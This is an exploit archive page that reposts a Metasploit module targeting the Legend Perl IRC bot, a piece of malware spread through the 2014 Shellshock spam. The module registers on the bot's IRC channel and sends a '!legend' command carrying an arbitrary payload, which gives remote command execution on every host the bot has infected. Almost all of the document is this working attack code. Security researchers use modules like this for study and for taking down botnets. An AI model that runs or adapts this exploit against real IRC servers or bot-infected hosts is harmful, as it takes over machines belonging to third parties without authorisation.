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Legend Perl IRC Bot Remote Code Execution

Legend Perl IRC Bot Remote Code Execution
Posted Dec 11, 2015
Authored by Jay Turla | Site metasploit.com

This Metasploit module exploits a remote command execution on the Legend Perl IRC Bot . This bot has been used as a payload in the Shellshock spam last October 2014. This particular bot has functionalities like NMAP scanning, TCP, HTTP, SQL, and UDP flooding, the ability to remove system logs, and ability to gain root, and VNC scanning. Kevin Stevens, a Senior Threat Researcher at Damballa has uploaded this script to VirusTotal with a md5 of 11a9f1589472efa719827079c3d13f76.

tags | exploit, remote, web, root, udp, perl, tcp
SHA-256 | 0cc139b4c6b9c45be686acca2dd23b5b8721a770d99f66699d03a8dd546d9d45

Legend Perl IRC Bot Remote Code Execution

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Legend Perl IRC Bot Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution on the Legend Perl IRC Bot .
This bot has been used as a payload in the Shellshock spam last October 2014.
This particular bot has functionalities like NMAP scanning, TCP, HTTP, SQL, and
UDP flooding, the ability to remove system logs, and ability to gain root, and
VNC scanning.

Kevin Stevens, a Senior Threat Researcher at Damballa has uploaded this script
to VirusTotal with a md5 of 11a9f1589472efa719827079c3d13f76.
},
'Author' =>
[
'Jay Turla' # msf and initial discovery
#MalwareMustDie
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '121681' ],
[ 'EDB', '36836' ],
[ 'URL', 'https://www.damballa.com/perlbotnado/' ],
[ 'URL', 'http://www.csoonline.com/article/2839054/vulnerabilities/report-criminals-use-shellshock-against-mail-servers-to-build-botnet.html' ] # Shellshock spam October 2014 details
],
'Platform' => %w{ unix win },
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'Targets' =>
[
[ 'Legend IRC Bot', { } ]
],
'Privileged' => false,
'DisclosureDate' => 'Apr 27 2015',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(6667),
OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
OptString.new('CHANNEL', [true, 'IRC Channel', '#channel'])
], self.class)
end

def check
connect

res = register(sock)
if res =~ /463/ || res =~ /464/
vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
return Exploit::CheckCode::Unknown
end

res = join(sock)
if !res =~ /353/ && !res =~ /366/
vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
return Exploit::CheckCode::Unknown
end

quit(sock)
disconnect

if res =~ /auth/ && res =~ /logged in/
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end

def send_msg(sock, data)
sock.put(data)
data = ""
begin
read_data = sock.get_once(-1, 1)
while !read_data.nil?
data << read_data
read_data = sock.get_once(-1, 1)
end
rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
end

data
end

def register(sock)
msg = ""

if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty?
msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
end

if datastore['NICK'].length > 9
nick = rand_text_alpha(9)
print_error("The nick is longer than 9 characters, using #{nick}")
else
nick = datastore['NICK']
end

msg << "NICK #{nick}\r\n"
msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"

send_msg(sock,msg)
end

def join(sock)
join_msg = "JOIN #{datastore['CHANNEL']}\r\n"
send_msg(sock, join_msg)
end

def legend_command(sock)
encoded = payload.encoded
command_msg = "PRIVMSG #{datastore['CHANNEL']} :!legend #{encoded}\r\n"
send_msg(sock, command_msg)
end

def quit(sock)
quit_msg = "QUIT :bye bye\r\n"
sock.put(quit_msg)
end

def exploit
connect

print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
res = register(sock)
if res =~ /463/ || res =~ /464/
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
return
end

print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
res = join(sock)
if !res =~ /353/ && !res =~ /366/
print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
return
end

print_status("#{rhost}:#{rport} - Exploiting the malicious IRC bot...")
legend_command(sock)

quit(sock)
disconnect
end

end
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